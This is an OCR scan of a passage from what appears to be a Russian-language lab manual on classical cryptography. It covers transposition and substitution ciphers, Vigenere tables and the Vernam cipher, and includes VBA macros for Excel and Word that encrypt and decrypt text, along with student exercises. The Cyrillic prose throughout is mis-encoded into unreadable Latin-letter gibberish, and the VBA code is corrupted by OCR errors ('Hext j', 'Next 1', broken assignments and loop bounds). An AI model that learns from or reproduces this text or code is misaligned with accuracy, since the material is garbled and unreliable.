kl{i) = Cells(4, i + 1).Value
Next 1

For j = 1 To 4

k2{j) = Cells(5, j + 1).Value
Hext j

'UMTaeM MCEXOOHEI TEKCT
IshodnText = Range ("RE").Value
Schet 1 '"CuerTumr IMpYeMHX CHMMEONOE
'SanoxAer mMdporafmay B MAaccHUE
For i 1To 6
il = kl(i)

For j =1 To 4

Tabll(il, j) = Mid(IshodnText,

Schet + 1

Schet
Next j
HNext 1
' Buromm madporabinuy Ha JmcT
For i =1To 6
For j 1 To 4
Cells(i + 11, j + 1) = Tabll(i,
Hext j
Next 1

Schet = 1
ShifText

mw

S5im =
For j =1
j1
For

To 4

k2(])

i=1To 6

Sim = Tabll (i, j1)
ShifText ShifText + Sim
Schet Schet + 1

Next 1

HNext j
Range ("A30") .Value
End Sub

ShifText

Schet, 1)

i)

' UpraeM mudpoTabmay no cromBuam ¥ doprpyeM SamMdpoBaHHYD CTDORY TERCTa

Private Sub CommandButton2 Click()
'CumcTrTe mMdporafinmy pecnoxpesTa
For i1 =1To ¢
For j 1 To 4

Cells(i + 11, j + 1) ="
I Next j
I Next 1

Range ("220") .Value

mw

I End Sub

Puc. 3.5. Buo oxna npoepammsl wugposarnus memooom nepecmaiosKu Ha Cmo-

PpoHe pecnoHOeHma
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£ Microsoft Visual Basic for Applications - NEPECTAHOBKAXis - [flucrl (Code)] L } PS>

@. Eile Edit View Inset Format Debug Run  Tools Add-Ins  Window Help

iME-H 4 2BA 9 > 1 TFY & @ e o2

-8 X

Project - VBAProject x| ICommandBuﬂonl‘. 'l IC“':k

=l

= E Private Sub CommandButton3 Click()
EI--@ VBAProject (NEPECTAHO 'Mporpara JemmdpoBaTe
EI@ Microsoft Excel Objects 'UMTaeM HIDUM HA CTODOHE DEeSMOSHTA
Muer (Muer 1) For i =1 To 6
T2 (Muet2) k1(i) = Cells (24, i + 1).Value
Mwet3 (et 3) Hext i
@ Sraknura For j =1 To 4
B 55 Modules k2(j) = Cells(25, j + 1).Value
Ly® Module1 Hext j
'UpraeM SamMPpOBAHHHN TEECT
ShifText = Range ("A23").Value
Schet = 1 'CueTuMK IMOpYEeMHX CHMMEQIOE
'Sanonger mrdpporabimmy B mMaccus B ofpaTHOM nopAnke

Schet = 1
For j =1 To 4
31 = k2(3)
For i =1To 6
Tabll{i, j1) = Mid(ShifText, Schet, 1)
Schet = 3chet + 1
Hext 1
Hext j

' Busomvm madporabmauy Ha mMcT
For i =1To 6
For j =1 To 4
Cells(i + 28, j + 1) = Tabll(i, 3}

Hext J
Hext i
' Uyraem mudpoTafmary no cTpokaM M dopMMpyeM pacIMbpOEAHHYED CTDORY TEKCTa
Schet = 1
DeshifText = ""
S5im = ""
For i =1 To &
il = k1(i)
“ For j =17To 4
Sim = Tabll(il, 7}
DeshifText = DeshifText + S5im
Schet = Schet + 1
Next jJ
Hext 1
Range ("A37") .Value = DeshifText
End Sub

=

Private Sub CommandButton4 Click()
'QUMCTUTE pPAcCIMOpOEAHHEN TEKCT pPeIMOSHTA
For i =1 To &
For j=1To 4
Cells(i + 28, J + 1) = """
HNext j

Hext 1
Range ("A23") .Value = ""
Range ("A37") .Value m

I End Sub

Private Sub CommandButtond Click() 'mepemaT: MMIDOERY
I Range ("R23") .Value = Range ("R20").Value
[l End Sub

K1 —

Puc. 3.6. Buo oxna npozpammel wughposanus memooom nepecmano8Ku Ha cmo-
POHe pe3udenma
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3aganue Ne 3

CocTaButh mporpammy aisi MUGPOBAHUA METOAOM IEPECTAHOBKH C
MIPOU3BOJIBHOM JITMHON COOOIIIECHHUS.

JU7is BBITMOTHEHUS ATOTO 33JaHUsI B MporpamMmy 3agaHusi 2 HE0OX0AUMO
BHECTH MU3MCHEHUS:

® COOOIIEeHUE pa3iessseTcsl Ha OJIOKH, KaX bl U3 KOTOPBIX YMEIIaeTcs B
mudpoTadIuILy;

® pa3Mep caMoil mU(POTAOIHIIBI TOJDKEH OCTaThCS TaKMM JK€, Kak U B
MpebIAYIIEeM 3a/IaHuH;

® ONpEACTUTh KOJIMYECTBO OJIOKOB, HEOOXOAMMBIX pa3MEIECHHUs Co-
oO1eHus IPOU3BOJIBHOM JUTHHBI, C MTOMOILBIO byHKIIH
Len(IshodnText)/(n1*n2), rae IshodnText — cTpoka, coneprkaiias cooOIeHHEe
POM3BOJILHON JTHHBI, N1 1 N2 — pa3mepsl kiodei K1 u K2;

® OPraHU30BaTh IO OMNPENEICHHOMY KOJIMYECTBY OJIOKOB BHEIIHHIMA
IIUKJI, BHYTPHU KOTOPOTO HCIOIB30BATh TOT K€ AJITOPUTM HIU(POBAHUS OJ-
HOTO OJI0Ka;

® 110 pe3yJbTaTaM BBIIIOJIHEHUS 3aJaHNIl COCTaBUTh OTYET.

3aganue Ne 4. /lonoTHUTENBHO JJIA CAMOCTOATEIbHON Pad0ThI

CocTaBuTh nporpamMmy aisi WUGPOBAHUS METOAOM MEPECTAHOBKU C
HOBBIIIEHHON KPUNITOCTOMKOCTh OJJHUM U3 CJIEAYIOLIUX CIIOCOOOB.

1. JInst moBblIeHUs CTOMKOCTH IK(dpa B TabnMIly NEPECTaHOBKU BBO-
JSTCSl HEUCIOJIb3yeMble KIeTKH Tabnuipl. KomnuecTBo U pacnosiokeHue He-
UCIIOJIb3YEMBIX 3JIEMEHTOB SIBJISIETCSI JIONOJHUTENBHBIM KIIIOUOM MU(ppoBa-
Hud. [Ipu mmdpoBaHuM TEKCTa B HEUCIIONb3yEMbIE SJIEMEHThI HE 3aHOCSITCS
CUMBOJIbI TEKCTa M B 3alIM(PPOBAHHBIA TEKCT M3 HUX HE 3alKCHIBAIOTCS HU-
KaKu€ CUMBOJIBI — OHHM MIPOCTO nponyckatores. [Ipu pacmmdppoBke cHMBOJIBI
32 (POBAHHOTO TEKCTA TAK)KE HE 3aHOCATCS B HEUCIIOJIb3YEMBIE YIIEMEHTHI.

2. JIna nanpHEWIIero yBeIu4eHUs KPUIITOCTOMKOCTH mHUdpa MOXKHO B
npoliiecce MU(PpPOBaHUS MEHATH KIIOUM, pa3Mepbl TaOJMLbI NEPECTAHOBKH,
KOJIMYECTBO U PACIOJIOKEHNE HEUCIIOIB3YEMBIX JJIEMEHTOB 110 HEKOTOPOMY
AITOPUTMY, IIPUYEM DTOT AJITOPUTM CTAHOBUTCS JOMNOJHUTEIBHBIM KIIFOYOM

mudpa.
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JlabGopaTopnas padora 5 llIudpoBanue MeTo10M 3aMeHbI
OO0mmue cBegeHus

[IudpoBanre MeTOIOM 3aMeHBI (TIOJICTAHOBKH) COCTOUT B 3aMEHE CUM-
BOJIOB OJHOro and)aBUTa Ha CHUMBOJBI Apyroro andaBuTa, Ha3bIBAEMOTO
mndpoandgasurom. [locnennuit moydaror nepecTaHoBKOW OyKB aydaBuTa
B mpon3BoIbHOM mopsiake. [ludpoandaBur u sBaseTcs KIAWYOM I mmd-
poBanus u aemmrdpoBaHusg. 3aMeHa MOXKET OBITh 3aMEHOM «CHUMBOJBI Ha
CUMBOJIBD» THOO «CUMBOJIBI Ha IU(DpEI». [10 CTORKOCTH U TPYAOEMKOCTH Me-
TOABI 3aMEHBI TMOAPA3ACIAIOTCS HA: OJHOAI(ABUTHYIO TOJICTAHOBKY, MHO-
roaq()aBUTHYIO OJHOKOHTYPHYIO TOJICTAHOBKY, MHOTOAJI(aBUTHYIO OJIHO-
KOHTYPHYI0O MOHO(OHUYECKYIO MOJCTAaHOBKY, MHOTOQJI(AaBUTHYIO MHOTO-
KOHTYPHYIO ITIOJICTAHOBKY.

OnHoangaBuTHAA MOACTAHOBKA

OpnHoandaBuTHas MOJACTAHOBKA — 3TO MpsiMasi 3aME€Ha CUMBOJIOB IIU(-
pyeMoro cooOIIeHUs JPYTUMU CUMBOJIAMU TOTO K€ CaMOT0 WJIHM APYTroro aj-
(aBuTa (MM COOTBETCTBYIONIMMH MM Hudpamu). TpymoeMKOCTh 3TOrO Me-
TOJIa HEBEIMKA, HO TaK)Ke HU3Ka U CTOMKOCTh: 20—-30.

3amm@poBaHHBIA TEKCT UMEET T€ K€ CaMbIe CTATHCTHYECKHUE XapaKTe-
PUCTUKH, YTO U UCXOMHBIN, IOATOMY 3Hasl CTAHIAPTHBIC YaCTOTHI TTOSIBJICHUS
CHUMBOJIOB B TOM SI3bIKE, HA KOTOPOM HAMHCaHO COOOIIEHUE U, MOA0upas Mo
4acTOTaM TOSIBJICHUSI CHMBOJIBI B 3aIM(PpOBAaHHOM COOOIIIEHUH, MOKHO BOC-
CTAaHOBUTH TAOJUIy 3aMeHBI. J[J11 3TOr0 TpeOyeTCs JIMIIb JOCTATOYHO JJINH-
HBIH 3aM()POBAHHBIN TEKCT, YTOOBI TIOJYYUTh JOCTOBEPHBIE OIICHKU YaCTOT
NosIBJICHUS] CUMBOJIOB. [loaTOMY TpoCTyI0 3aMeHy MCHOJB3YIOT JUIIh B TOM
ciydae, Korja mudpyeMoe COOOIIeHHE T0CTaTOYHO KOPOTKO.

[Tockonpky witou (mudpoanpaBuT) HEOOXOIUMO XPAHHUTH B CEKpPETE,
UCTOPUYECKH CJIOKHUIIOCHh HCIOJIb30BaTh HE MPOU3BOJIBHYIO TMEPECTaHOBKY,
KOTOPYIO TPYAHO 3alIOMHUTH, a MApPOJIbHYIO (pa3y U3 Kakoi-HUOYb U3BECT-
HOW OTIPABUTENIO U TIOJy4aTeII0 KHUTH.

[TaponbpHas ¢paza NOCTPOYHO 3AMOTHACTCS B MATPUILY-KITIOU Pa3MEPOM,
Hanpumep, 6x6. [Ipu 3ToM moBTOpsIIOLIUECS B MAapOJIbHOM (Ppa3e CUMBOJIBI B
MaTpUIly-KJIF04 HE 3aHocsTcs. Eciu mociie 3Toro B TaONMIE OCTAIKUCh Iy-
CTBIC KJICTKH, MX 3aNOJHAIOT HEAOCTAIIMMH OYKBaMH 10, HaIpuMep, ajida-
BUTHOMY TTOPSKY.

102



Bo3bméM B kauecTBe mpumMepa napoiabHyro ¢pasy: «3uma! Kpectbsaun,
TOP’KECTBYS, HA IPOBHIX OOHOBIISIET MYTh» M 3aHEeceM €€ B Tabiauiy 0e3 mo-
BTOpPOB OYKB (Tab. 3.3).

Taoauna 3.3. Tabnuia ¢ mapoasHO# (hpazoit

1 2 3 4 5 6
1 3 Hu M a ! K
2 p e C T b s
3 H , 0 K B y
4 I X 0 Ja n
5
6

Yacts OykB andaButa ocrajachk HE IpeACTaBlIeHHOW B Tabu. 3.3, mo-
ATOMY 3allOJHAEM UMH OCTaBIIMECS IYCThIE MOJISI U IMOJIYYUM HMTOTOBYIO
MaTpHUILy-KJIto4 Juis mudpoBanus (Tadu. 3.4).

Tadannma 3.4. Marpuna-kiatou sl mu@poBaHUs METOJOM 3aMEHBbI C OJI-
HOaI(aBUTHOI MOJICTAHOBKOM IO MapoJIbHOM (ppaze crnocoOOM «CHMBOJIBI Ha

1005 (1] ) 508

1 2 3 4 5 6
1 3 u M a ! K
2 p e C T b s
3 H , 0 XK B y
4 bi X §) hj i r
9) i ¢ i q m 11
6 bI b ) 10

Jlanee KaXaplii CUMBOJI TEKCTa, MOJJEXKAIIEro MuppOBaHUIO, 3aMEHS-
eTCsl Tapoil Ynces: HOMEPOM CTPOKH M HOMEPOM CTOJIOIa, Ha MepeceueHrun
KOTOPBIX 3TOT CHUMBOJI HAXOAWUTCSA B Marpuie-kioue. Hampumep, cimoBo
«ypa» Oymetr uMmeTh 3amudpoBanHbid Bua: 36 21 14. OTo crmocold 3aMeHbI
«CHMBOJIBI Ha U PHD».

[Ipu 3ameHe «CHUMBOJIBI Ha CHMBOJIBD) B MAaTPHUILY-KIIOY HEOOXOIMMO
JIOTIHCAaTh CUMBOJIBI HCXOAHOTO andaBuTa Mo nopsaky. [lo sTum cumBosiam
HAXOZSATCsl 3aMEHSIONINE UX CHUMBOJBL. B 3TOM ciyyae marpuily-Kio4 Hc-
M0JIb30BaTh HE 0053aTeIbHO, MOXKHO MPOCTO PACIOJNIONKHUTh CUMBOJIBI K-
poandasuta u andasuta B cToiader (cTpoky). UToOsl paznuyaTh MaJleHbKUE
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U Oosbire OYKBBI, UX JIETKO M00aBUTH B mHGpoandaBuT (B 3TOM HpUMepe
OHM HE Pa3INYaroTcs).

st nemmdpoBaHus HEOOXOAMMO COCTaBUTH nemuppoandaBut B 00-
patHOM mopsiake. B Tabn. 3.5 mpeacTtaBieHa MaTpUIla-KIIO4Y, COJEpxalias
mudpoandaBuT ¢ TOM ke MapoJbHOM (pa3oi (3HAKKW TpPENUHAHUS IS
YOPOLIEHUsI OMYIIEHbI) U JaemudpoanPpaBUT sl 3aMEHBI CIOCOOOM «CHM-
BOJIbI HA CUMBOJIBI», KOTOpasi Oy/1eT UCIOJIb30BaHa B 3aJaHUH 2.

Taboauma 3.5. Matpuna-kiod s mu@poBaHUs METOAOM 3aMEHbI C O/JI-
HOaJI(paBUTHOM MOJICTAHOBKOM IO MapoibHOM (hpaze crmocodoM «CUMBOJIBI Ha

CHUMBOJIBD)

[Mudpoandasur | Andasur Hoﬁgﬂ. HC;( :IiHTHH 3amﬂ¢;§§:: HHb I[;Jf(igfl};f
3 a 1 a 3 r
u § 2 T
M B 3 0
a T 4 X
K hi| 5 P
p e 6 K
e K 7 H
Cc 3 8 a
T 5 9 o
b 51 10 I
q K 11 A
H bl 12 y
0 M 13 B
K H 14 b |
B 0 15 M
y I 16 ¢
II p 17 p Pl c
X c 18 3
§ T 19 51
b | y 20 y 1 11
i} () 21 q
r X 22 c
5 11 23 11
1) q 24 101
II I 25 b
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Okonuyanue Tadim. 3.5

q 111 26 bl
111 b 27 )
i Bl 28 b
Bl b 29 |

) 30 10
3 10 31 '

Pl 32 K

Takum oOpazom, mpu mUGPOBAHUKM METOJOM 3aMEHBI «CHUMBOJBI Ha
CUMBOJIBI» CJIIOBO «ypa» OyJeT UMETh 3alln(PpOBaHHBINA BUJ «JII3», a CIOBO
«COH» — «XBX».

MHuoroangaBUTHAs OTHOKOHTYPHAs 00bIKHOBEHHAs1 MOJCTAHOBKA

JUig 3aMEHbl CUMBOJIOB MOYKHO HCIIOJIb30BAaTh HECKOJIBKO aji(aBUTOB,
MpUYEM CMEHa an(aBUTOB MPOBOJUTCS IMOCIEIOBATEIBHO M IUKIUYECKH.
IlepBbIii cuMBOA MWU(GPYEMOro COOOIIEHHS 3aMEHSIETCS Ha COOTBETCTBYIO-
LI CUMBOJI MEPBOTO an(aBuTa, BTOPOM — Ha CUMBOJI U3 BTOPOro ajidaButa
U T. 1., IOKa He OyayT ucuepranbl Bce andasutel. [locie aToro ncnoiabs3zoa-
HUE aja(paBUTOB MTOBTOPSETCS.

Paccmorpum mm@poBanue ¢ noMoubio madauyst Busxcunepa — xan-
paTHOM MaTpHILbl C N° AJIEMEHTaMU, T/1€ N — YUCIIO CUMBOJIOB MCIOJIb3YyEMOT0
andaButa. B mepBoil CTpoke MaTpHIlbl COACPKUTCA HCXOAHBIA andaBuT,
KaKIas CIEAYIIas CTPOKAa MOJy4daeTcs M3 NpeAblaylleld LHUKINYECKUM
CIBHUTOM BJIEBO Ha OJWH CUMBOJI (Tab. 3.6).

st mmudpoBaHus HEOOXOIMMO 3aaTh KIIIOY — CIIOBO C HEMOBTOPSIIO-
MUMHCS CUMBOJIaMU. TaOiuIly 3aMeHbl MOJIy4aroT CIEAYIOIIMM 00pa3oM:
cTpoKy «CuMBOJIBI MIUPPYEMOro TEKCTa» (OPMHUPYIOT U3 MEPBOMl CTPOKU
MaTpulsl BukuHepa, a CTpOKM U3 pa3ena «3aMeHsIole CUMBOJIbD) 00pa-
3YIOTCSI M3 CTPOK MaTpullbl BuxkuHepa, mepBble CUMBOJIBI KOTOPBIX COBIIA-
JAI0T C CUMBOJIaMU KJIFOYEBOTO CJIOBA.

[Ipyn mmdpoBannn U aemmMppoBaHUM HET HEOOXOJUMOCTH JIepKaTh B
naMsTH BCIO MaTpuily BukruHepa, MOCKOJIbKY MCIOJIb3Yys CBOMCTBA UKIIAYE-
CKOT'O C/ABUTa, MOKHO JIETKO BBIYUCIUTH JIFOOYIO CTPOKY MAaTpPHIIbI IO €€ HO-
MEpY U NEPBOU CTPOKE.
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Ta6auna 3.6. Tabnuma Buxunepa nms pycckoro andasuta

ABBTIEXK3UNKIMHOTIPCTY® XYL LB HDIOM
BBITAEX3UUKIMHONPCTY® XYL L0 A
BIAEX3UNKIMHOTIIPCTY® XYM b HDIOSIAB
TNEXK3UNKIMHOTIPCTY® XYL HDIOSIABB
NEX3UUKIMHONPCTY®XINUIIIIbBIBIIOIABBT
EX3UUKIMHONPCTY®XUUIIIbBIBDOIOSIABBT ]
K3UNKIMHONPCTY® XU bBIBRIOIABBT IE
SUNKIMHONOPCTY®XUUIMII[bBIBDIOSIABBT JE XK
UUKJIMHOTIPCTY®XINUIIIIbBIHRIOIABBT JIE X3
HKIMHOTPCTYO®XUUYIII LB HRI0OIABBT IEX3U
KJIMHOMNPCTY®XINUIIIbBIHIIOIABBT JEX3UU
JIMHONOPCTY®XUUYII[bBIBRIOIABBT JEX3UUK
MHOTPCTY® XU b BIIOIABBT JEX3UUK I
HOMPCTYO®XUUYIII b HRIOIABBT AEX3IUNKIM
ONPCTY® XYM BIIOIABBT IEX3IUNUKIMH
MPCTYOXINYIMIbBIBIIOIABBTAEXK3UNKIMHO
PCTY®XUUYIMI[bBIBIIOAABBT AEXK3IUNKIMHOTI
CTYOXUUYIMIbLBIIOIABBTIEXK3UNKIMHOTIP
TYOXHNUIIIbBIBIIOSIABBTAEXK3UNKIMHOTIIPC
VOXTUYIM BB BIIOIABBT AEX3UNUKIMHOIPCT
OXNUII BB BRIOIABBTAEXK3UNKIMHOINIPCTY
XOUIIIbBIBRIOAABBT JEX3UNKIMHOINPCTY ®
HUINI b HROIOIABBT IEXK3UNKIMHOTIIPCTY ®X
Y BB HBRIOAABBT JEX3UNUKIMHOINPCTY ® XI]
MBI BIIOIABBT IEXK3UUKIMHOIPCTY ®XI[U
MbLEIHRIOIABBT AEX3UNUKIMHOTIPCTY ® XI[YIII
BHIBDIOIABBT AEX3UNKIMHOTIPCTY & X I[Y II I
BIBDIOSIABBTIEXK3UNKIMHOTIPCTY ® XI[Y LI IIb
BOIOSABBTAEXK3UNKIMHOIIPCTY ®XI[Y I b BI
DIOSABBTAEXK3UUKIMHONPCTY®XIUUYIMIIHH b
IOSABBTAEX3UUKIMHONPCTY® XU IbEIHD
SABBTAEX3UNUKIMHOTNPCTY®XIUYUIIbBIDD IO

[Ipu mumdpoBanur CUMBOIBI M3 TEPBONM CTPOKH 3aMEHSIOTCS CHMBO-
JIaMH OCTaJIbHBIX CTPOK IO IIPABUITY

a(l,i)=>a(k, i), (3.2)

riae K — Homep ucmosb3yeMoi st muppoBaHus CTPOKH.

Wcnosp3ys CBOWCTBA HUKIMYECKOTO CJABHMra BJCBO, 3JEMEHTHI K-0i
CTPOKH MOYHO BBIPA3UTh UE€PE3 FJIEMEHTHI IEPBOM CTPOKHU
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a(l, i+k-1), ecmm i <= n—k+1
ak, 1) = (3.2)
a(l, i-n+k-1), ecam i> n—k+1.

[Tpu nemm@poBaHUM MPOU3BOAUTCS OOpaTHAS 3aMEHA

ak, 1) =>a(l1, 1). (3.3)

[TosToMy HEOOXOAUMO PEIIUTh CIAEAYIONIYIO 33/1auy: MyCTh OYEPEeAHOU
nemudpyembrii cumBosl B Tekcre — a(l,j) u i aemmdpoBaHus UCIONb3Y-
etcst K-ast ctpoka Marpuibl Brkunepa. HeoOxoaumo HaiTu B K-oi cTpoke
HOMep ameMeHTa, paBHoro a(1,)). OueBuIHO,

a(k, j-k+1), ecmu j >=k
a(l,]) = (3.4)
a(k ,n—k+j+1), ecam j < k.

Takum o0Opazom, npu AemmppoBaHun 10 K-0i cTpoke MaTpuilpl Biku-
HEpa CHMMBOJIAa M3 3allM(PpPOBAHHOrO TEKCTa, 3HAYCHHE KOTOporo paBHO a(l,
J), mpoBOAMTCS OOpaTHAsI IMOCTAHOBKA

a(l, j-k+1), ecmm j >=K
a(l,j) => (3.5)
a(l, nk+j+1), ecmm j <Kk.

CToMKOCTh METOAA PaBHA CTOMKOCTH METOJA IMOJCTAHOBKH, YMHOXKEH-
HOM Ha KOJIMYECTBO MCMOJIb3YEMbIX IpH MHUGpoBaHUU andaBUTOB, T. €. Ha
JUTMHY KJTtFoueBoro ciioBa u paBHa 20*L, rioe L — nimHa Ki1t04eBOTO CloBa.

C uenpio MOBBIMICHUS] CTOMKOCTU MUGPOBAHUS MPEAararoTcs Cieay-
IOII[ME YCOBEPIIEHCTBOBAaHUA Tabnuilbl Brkunepa:

1. Bo Bcex (kpoMme mepBoii) cTpokax TaOJIUIbl OYKBBI pacloJiaraloTcs B
IIPOU3BOJIBHOM TOPSIZIKE.

2. B kadecTBe KIItO4a MCTOJB3YIOTCS CIydalHBIE MMOCIIEI0BATEIIEHOCTH
9HUCeN, KOTOPBIE 33al0T HOMEpPA UCIIOIb3YEMBIX CTPOK MaTpHuIlbl BrkuHepa
TSl I pOBaHUS.

MHoroangaBuTHasi OTHOKOHTYPHAsi MOHO()OHUYECKAA MOJACTAHOBKA

B MoHOdOHHYECKOW MOJCTAaHOBKE KOJIMYECTBO U COCTaB al(aBUTOB
BbIOMpaeTcsi TakuM 00pa3oM, YTOOBI YAaCTOTHI MOSIBICHUS BCEX CHUMBOJIOB B
3au(pPOBAHHOM TEKCTE€ ObUIM OJMHAKOBBIMH. [Ipu TakoM mosiokeHuu 3a-
TPYAHSIETCS. KpUNTOAHAIN3 3alIM(POBAHHOTIO TEKCTA C MMOMOUIbIO €T0 CTaTH-
CTHYECKOM 00paboTku. BhlpaBHUBaHME YaCcTOT MOSIBICHUS CUMBOJIOB JIOCTH-
raercs 3a C4eT TOTO, YTO JJI YaCTO BCTPEUAIOIIUXCS CUMBOJIOB MCXOHOTO
TEKCTa IpeaycMaTpuBaeTcss OOJblIee YMCIO 3aMEHSIOIIUX CHMBOJIOB, Ye€M
JUTSL peIKo BeTpeyvaronmxcst (tadsn. 3.7).
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Ta6auna 3.7. [Tpumep Tabauirbi MOHO(OHUIECKOM 3aMEHBI

ABBTJAEX3UNKIMHOINPCTY®XUUYMIIbbIBDIOS
OH(IUTERAAB~@SASIXACIIMBQIITXIODBP\ #
*HYIUD+ER=JUNY[Bb)O& {MBQITXIOBP}\ <
JH(IMU]ER% ABl~@G/SAD33"IMBQITXIOBP}\ W
OPHYINDKERAJUNUYS+HXKAC{MBQITXIOBP}\ V

[udpoBarre IPOBOAUTCS TaK K€, KaK U MPH MPOCTOH MOJACTaHOBKE, C
TOW JIWIIb PAa3HUIICH, YTO MOCIE IMU(PPOBAHUS Ka)XJIOTO CHMBOJA COOTBET-
CTBYIOIIUN eMy CToJIOeI aipaBUTOB IIUKJIMYECKU CIBUTACTCS BBEPX Ha OJHY
no3unuio. TakuM oOpa3oM, cToJOIEI andaBUTOB Kak Obl 00pa3yrOT HE3aBH-
CHUMBIC JIPYyT OT Jpyra KoJblla, TOBOpAaUYMBaeMbIe BBEPX HA OJMH 3HAK KaX-
IBIN pa3 mocie mugpoBaHus COOTBETCTBYIOIIETO 3HAKA HCXOTHOTO TEKCTA.

MHOFOﬂJI(l)aBI/ITHaSI MHOT'OKOHTYPpHad MMoJACTaHOBKa

MHOTOKOHTYpHAsI TTOACTAaHOBKA 3aKJIFOYACTCSI B TOM, YTO ISl MUpo-
BaHMSI WCITOJIB3YIOTCS HECKOJIBKO HAOOpOB (KOHTYPOB) aji)aBUTOB, MCIIOJb-
3YEeMBIX ITUKINYECKH, TIPUYEM Kbl KOHTYp B OOIIEM CTydae UMEET CBOM
WHIVUBUYaJbHBIN TEpUOJI MPUMEHEHHs. YaCTHBIM CIydyaeM MHOTOKOHTYP-
HOW moyinandaBUTHONW TOJICTAHOBKH SIBIIIETCS 3aMeHa Mo Tabnuie Buku-
Hepa, eCiu JyUIsl u@POBaHUS UCTIOJIB3YETCS HECKOJIbKO KITIOUYEH, KaKIbIi U3
KOTOPBIX UMEET CBOW MEPHO]I TPUMEHEHUSI.

O6mass monens mudpoBaHUs MOJCTAHOBKOM MOXKET OBITh IMpEJCTaB-
JIeHA B CJIEIYIOIIEM BU/IE:

t. =t, + wmod (k-1), (3.6)

rae t, — cuMBoJI 3a1M(POBAHHOTO TEKCTA; T, — CHMBOJI UCXOAHOTO TEK-
cta; W — rienoe urciio B auana3zone (0 — (k—1)); K — gucino cuMBOIOB HCIIOIb-
3yeMoro ajngaBura.

Ecnu W ¢pukcupoBano, To popmyisia OMUCHIBAET OJHOAI(PABUTHYIO MO/ -
CTaHOBKY, €CJTM W BBEIOMpPAETCS U3 IMOCIEAOBATEILHOCTH Wy, Wa, ..., Wy, TO TIO-
JydaeTcs MHOTOa(haBUTHAS TIOJICTAHOBKA C TTEPUOIOM N.

Ecnu B mHOroandasuTHOM mojacTaHoBKe N > M (TIe M — YUCIO 3HAKOB
mudpyemMoro TekcTa) M JIH00as IociegoBaTeabHOCTH Wi, | = 1, 2, ...,
N UCTMIOJIB3YETCsI TOJIBKO OJIUH pa3, TO TaKoW Mup SBISIETCS TEOPETUYECKH
HE pPacKpbIBaeMbIM. DTOT MG P MoTyuns1 HazBanue mudpa Bepnama.

CTolKOCTh MPOCTON MHOTOAI(aBUTHON TIOJICTAHOBKH OIICHUBACTCS Be-
muauHoi 20*N, T N — YuCiIo pa3audHbIX ai(aBUTOB, MCIOIL3YEMbIX IS
3aMCHBI. Y CIIO)KHEHHE MHOTOAJI(aBUTHON TOJCTAHOBKH CYIICCTBEHHO II0-
BBIIIACT €€ CTOMKOCTh. MOHO(OHUYECKAS TI0JICTAHOBKA MOXKET OBITh BEChMa
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CTOMKOH (M J1a’ke€ TEOPETUYECKU HE PACKPBIBAEMOI), OJHAKO CTPOTO MOHO-
(oHMYECKYIO TIOJCTAHOBKY PEaln30BaTh HA MPAKTHUKE TPYAHO, a JI0ObIE OT-
KJIOHEHUS OT MOHO(OHUYHOCTH CHIDKAIOT PEAIbHYIO0 CTOMKOCTD IHudpa.

3aganue Ne 1

3amudpoBaTth BPYUHYIO CBOM JaHHbIE «(aMHIIMSg UMs OTYECTBO» IIO
napojpHOil (Ppaze U3 JTOOOr0 HM3BECTHOIO KIACCHYECKOTO MPOU3BEACHUS
JIBYMSI CITIOCOOAMHU: «CHMBOJIBI HA CUMBOJIB» M «CUMBOJIBI Ha ITUGpBDY. B oT-
YyeTe MPeJICTABUTh MATPUIIBI-KJIIOYM B COOTBETCTBUHM ¢ Tabnumamu 3.3 u 3.4.

3aganue Ne 2

CocraBuTh mporpamMmy Uil MHGPOBAHUS METOJAOM 3aMeHbl. [Ipu co-
CTaBJICHUM TPOTpaMMbl HCIOJIB30BaTh 00Opazen (puc. 3.7-3.9), B KOTOPHIii
HEO0OXOAMMO BHECTH M3MEHEHHS, COOTBETCTBYIONIE Bamemy nHANBUyalThb-
HOMY 3aJIaHUI0. YYECTh pPa3Inuhe CTPOUYHBIX U MPOMHUCHBIX OYKB PYCCKOTO
andaBuTa.
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e —
ﬁ Microsoft Visual Basic for Applications - Nermal - [NewMacnm
% Eile Edit View Inset Format Debug Run Tools Add-Ins Window Help Beeaute sonpoc - _ B8 X
HE-H 4 aEma 9 1k BFY 5 @ B
Project - Normal ﬂ IIGeneraI) j IDCod j
I 4 3 E Public Sub Cod() 'mdposamte Zl
E:ﬁ Normal Const ALU = "SMMaKpecThAHOXEYOXOANUHbUYIMEESH" ' midpoandaswTH
EI& Microsoft Word Objects Const AL = "SHMAKPECThAHOXBY XSS [UIMEES0"
: ThisDocument Dim S5im A= String, Syml A= Variant
Modules Dim Index Rs Integer
«5& MNewMacros Dim Result 4s String
-84 Project (5 Inasa 3) Result = v
EI@ Microsoft Word Objects 'UMENT YTEHMA CMMEOJIZa E EBHASNIEHHOM QparMedHTe
@ ThisDocument For Each Syml In Selection.Characters
B References Sym = Syml
e Reference to Normal Select Case Sym
[]---@ TemplateProject (Snagl Case "A" To "A"

' BHUMCIASM NOPANKOEEM HOMED TEKYNETo CHMMEOMNA
Index = Rsc(Sym) - Rsc("A") + 1
'MEHASM TEEYIIMI CMMECQN N0 HOMEDY M3 cTpoku ALT
Sym = Mid(ALU, Index, 1)
t Case "a" To "a"
Index = Rzc(Sym) - Rsc("a") + 1
Sym = Mid (AL, Index, 1)
End Select
' mofiaEnmeM MSMEHEeHHHN CMMBOJN E pe3yNbBTaT
Result = Result + Sym

i Next Syml
il Selection.LanguageID = wdRussian
|| Selection.TypeText Result

End Sub

Public Sub DCod() ' nemsdposazme
Const ALU = "proxpxHabunyeimMbesMOMCITEHSEMDAK" ' OemmdpoandaEMTH

tl Const AL = "I'TOXPEHABIIVEIMSESHIUCIILHEEINAK"
I Dim S5im A= S5tring, Syml A= Variant
Dim Index As Integer
| Dim Result 4s String
H Result = "
| 'IMKJ YTEHMA CMMEONAZ E EHIOSJEHHOM q:;:arMe|:-1'1'e
| For Each Syml In Selection.Characters

Sym = Syml
Select Case Sym
Case "A"™ To "A"
' BHMMCHIASM NOPANKOEEM HOMED TEKYNEro CHMEOMA
Index = R=c(Sym) - Rsc("A") + 1
'MEHAEM TEKYIMI CMMEOJN 0O HOMEDY M3 CTpOEM ALU
Sym = Mid(ALU, Index, 1)
Case "a" To "g"
Index = As=sc(Sym) - Asc("a") + 1
Sym = Mid (AL, Index, 1)
“ End Select
' mofiaEnmeM MSMEHEeHHHN CMMBOJN E pe3yNbBTaT
Result = Result + Sym
Hext Syml
'ofHOBNIAEM EHNENEeHHYD YacThk TEKCTa
Selection.LanguageIDl = wdRussian b
Selection.TypeText Result

End Sub -

Puc. 3.7. Buo oxna npoepammul wiu@posanus u 0eumu@dposanusi Memooom 3aMeHbl
